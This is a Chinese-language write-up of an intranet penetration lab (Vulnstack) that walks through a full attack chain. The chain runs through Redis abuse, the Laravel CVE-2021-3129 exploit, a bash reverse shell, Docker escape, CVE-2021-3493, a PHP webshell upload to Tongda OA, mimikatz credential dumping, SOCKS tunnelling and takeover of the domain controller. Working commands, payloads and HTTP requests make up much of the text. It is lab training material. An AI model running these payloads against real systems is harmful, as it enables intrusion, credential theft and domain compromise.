环境下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
环境配置:
整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理,横向移动,最终拿下域控。
实验环境拓扑图:
- 首先编辑虚拟网络编辑器
- kali: - 连接桥接即可(这里的IP可以变化,我的kali是1.9,ubuntu是1.6)
- DMZ区域: - 给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。
- 第二层网络区域: - 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。
- 第三次网络区域: - 给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络
- 用户名密码:
- 域用户账户和密码如下: Administrator:Whoami2021 whoami:Whoami2021 bunny:Bunny2021 moretz:Moretz2021
- Ubuntu 1: web:web2021
- Ubuntu 2: ubuntu:ubuntu
- 通达OA账户(不重要): admin:admin657260
配置服务:
- DMZ区的 Ubuntu 需要启动redis和nginx服务(这里的redis得用root权限启动):
sudo -i
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F(关闭防火墙)
- 第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo -i
service docker start
docker start 8e172820ac78
- 第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
C:\MYOA\bin\AutoConfig.exe
环境配置完毕
实战
进行渗透测试
信息收集
首先使用kali进行通网段的主机扫描
我们发现了IP地址,然后进行端口扫描
发现了22,80,81, 6379端口,分别开通的服务为
22的ssh,80的nginx,81的Laravel,6379的redis
redis未授权
因为6379端口开着redis服务,我们先试试存不存在redis未授权访问。
Redis未授权访问是因为一些Redis服务绑定到公共接口,甚至没有密码身份验证保护,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),而又暴露在公网上,这样就会导致任意用户在可以访问此公网的情况下未授权访问Redis以及读取Redis的数据。
首先我们下载redis-cli工具,然后直接在攻击机上连接192.168.1.6:6379上的redis,竟然成功了
redis-cli -h 192.168.1.6
有了未授权,我们直接往目标主机写入ssh公钥,先在攻击机上生成ssh公钥:
ssh-keygen -t rsa
我这里之前做过一遍
然后将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.6 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
我们尝试连接 ssh 192.168.1.6连接成功
进行简单的信息搜集发现存在52.0的网段,推断该机器是不是做了反向代理,版本为ubuntu18,家目录有一个web
查看了Ubuntu 18上的nginx配置文件:
可知Ubuntu 18服务器上的nginx把80端口上收到的请求转发给了 https://whoamianony.top,将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20
内网渗透
接下来我们对81端口进行访问:http://192.168.1.6:81
发现是个Laravel的站点,这个版本为Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构
这个版本存在远程代码执行漏洞,我们可以通过exp打,也可以使用工具,直接生成shell进行连接
这里我们使用工具,工具地址:GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
这里使用哥斯拉2.92版本直接连接就可以(这里注意的是要使用低版本的哥斯拉进行连接,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败)。
BeichenDream/Godzilla: 哥斯拉 (github.com)https://github.com/BeichenDream/Godzilla成功连接以后发现是一个docker容器
首先我们先往kaili中反弹一个shell:
bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'
然后我们在kali上开启9999监听, nc -lvvp 8888
如果不能成功就换端口
成功获取权限
环境变量劫持
目前的权限是www,利用容器操纵实体机修改ssh,进行免密登录所以我们首先得在容器中进行提权。
这里也是用比较常见的提权方式,查找有高权的文件,也就是说这个文件拥有root权限,那么通过这个文件调用的任何命令就都有root权限,那么再修改环境变量,让这个文件调用的命令指向我们写的恶意命令就可以进行权限提升。
我们直接使用find命令来搜索具有SUID或4000权限的文件:
find / -perm -u=s -type f 2>/dev/null
我们发现了shell ,也就是说shell是以高权限运行的,它的执行结果和ps差不多的
我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找到我们的恶意ps,不就可以反弹shell了
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
这个方法被称为环境变量劫持
我们再来一个tty的交互式
python -c 'import pty; pty.spawn("/bin/bash")'
这样我们就实现了从www用户到root用户的权限提升,这只是docket中的root用户,下面我们进行docket逃逸
docket特权逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限
首先我们现在docker中新建一个/gz目录用来挂在文件:
mkdir /gz
我们可以尝试将 /dev/sda1 挂载到/gz目录里:
mount /dev/sda1 /gz 如果挂载不上就把设备下线,umount /dev/sda1 再重新挂载)
因为我们的kali是连接不上52段的,所以我们在刚才获取的web1的主机上生成一个 ssh密钥。
接下来就可以将我们自己生成的ssh秘钥写入到/gz/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器
ssh-keygen -f chan
chmod 600 chan #赋予权限
我们将chan.hup中的密钥写入/gz/home/ubuntu/.ssh/authorized_keys中,
echo '生成的.pub文件的内容' > /chan/home/ubuntu/.ssh/authorized_keys
在web1上利用 chan密钥进行登录,登陆成功
它是ubuntu用户,我们信息收集,发现还存在93网段
我们进行权限提升
它是ubuntu14.04版本,这个版本存在CVE-2021-3493漏洞
漏洞描述
CVE-2021-3493漏洞是Linux内核中overlayfs文件系统中的Ubuntu特定问题,在Ubuntu中没有正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu带有一个支持非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来进行提权操作,因此该漏洞对Linux的其他发行版没有影响。
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)
Exp:GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local PrivescUbuntu OverlayFS Local Privesc. Contribute to briskets/CVE-2021-3493 development by creating an account on GitHub.https://github.com/briskets/CVE-2021-3493我们首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行,我们就获取了权限
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
成功提权,那么接下来该将这两台机器上线MSF继续进攻内网了
上线msf
首先上线web1
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.9
set lport 1111
exploit
将生成的命令在目标主机上执行,msf就成功上线
然后上线web2,只需要将端口改掉,重新run,生成的连接在获取的web2上执行,就会获取权限
路由与socks5代理
我们获取了两个sessions,因为kali无法与52段的主机进行通信,所以我们需要在web1上增加一条去往192.168.52.0的路由
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。
在攻击机上执行如下:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在DMZ区域的Ubuntu 18上传ew_for_linux64,并执行如下命令:(使用upload上传 直接upload 路径)
nohup ./ew_for_linux64 -s rssocks -d 192.168.1.9 -e 1234
执行之前可以将工具克隆到虚拟机,或者直接去github上下载
git clone https://github.com/idlefire/ew
然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。
- vim /etc/proxychains4.conf
- socks5 127.0.0.1 1080
接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:
我们发现了30主机,接下来我们使用proxychains4 进一步对30主机的端口进行扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
我们发现了8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好代理后,成功访问:
在kali上 访问192.168.52.30:8080
是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。
接下来我们下载一个代理插件,配置好代理,好让我们方便使用burpsuite进行抓包,
由于我kali的8080占用,所以HTTP和Burp的代理都用8081端口
burpsuite也要去连接1080 ,代理到52段,配好后打开代理,进行抓包,发现抓包成功
直接抓包,修改,未授权上传图片马
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
出现了图片马的路径,接下来文件包含我们上传的木马
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2206/1102423157.jpg"}&cmd=whoami
然后上线我们的msf
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.9
set lport 3333
run
将生成的powershell上传到burpsuite中进行发送
没什么反应我们改一下端口重新生成一下,进行发送
没有内容回显,但是我们sessions3上线了
我们进行信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
发现93网段
域为whoamianony.org
域控为DC.whoamianony.org,IP为192.168.93.30
域管理员Administrator
横向渗透
将该进程迁移到64位的进程上
migrate +进程号 (ps 查看进程)
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
成功抓取到域用户bunny和域管理员administrator的凭证
bunny:Bunny2021
administrator:Whoami2021
第三层网络渗透
配置三层网络路由和so'cks5代理
现在第二层网络已经渗透完了,我们继续入侵第三层网络(192.168.93.1/24)。
在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由:
首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口,执行命令:
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来,执行命令:
./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
然后配置proxychains:接着,我们使用metasploit的 auxiliary/scanner/smb/smb_version 模块(可用来探测Windows主机存活)来扫描第三层网络中的主机存活:
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现第三层网络中还有两个Windows主机,分别为DC(192.168.93.30)和PC2(192.168.93.40),使用nmap进一步扫描PC2主机信息:
使用msf扫描也可以
发现了445端口,我们直接打一个永恒之蓝漏洞
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
失败, 那我们把矛头指向93.40也就是DC,因为有了管理员和密码,所以我们使用psexec模块进行攻击
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
执行失败了 应该是防火墙的问题
我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接,然后使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
再次尝试执行 exploit/windows/smb/psexec 模块即可成功登录:
成功拿下域控,但是pc2还是拿不下,所以我们这里使用cs
cs
首先安装cs,然后执行
./teamserver 192.168.0.108 c1ay
./start.sh
接下来新建一个监听器
单击 “Attacks” 菜单,选择”Web Drive-by”→”Scripted Web Delivery”选项,如下图。
这个类似于msf中的 exploit/multi/script/web_delivery模块
我们将这个powershell在我们之前获取的pc1中的shell中执行
我们看到pc1上线,我们打开会话交互 接下来就是目标发现+密码二连击
- net view
- hashdump
- logonpasswords
接下来新建一个smb的 监听器可以绕防火墙
打开目标列表的选项
进行横向拓展
看到pc2上线
打开会话交互,进行命令执行
shell ipconfig
看到IP为93.40
成功获取pc2的权限,同样的方法我们也能上线域控DC
至此,所有靶机全部拿下。
版权归原作者 TACO TUESDAY67 所有, 如有侵权,请联系我们删除。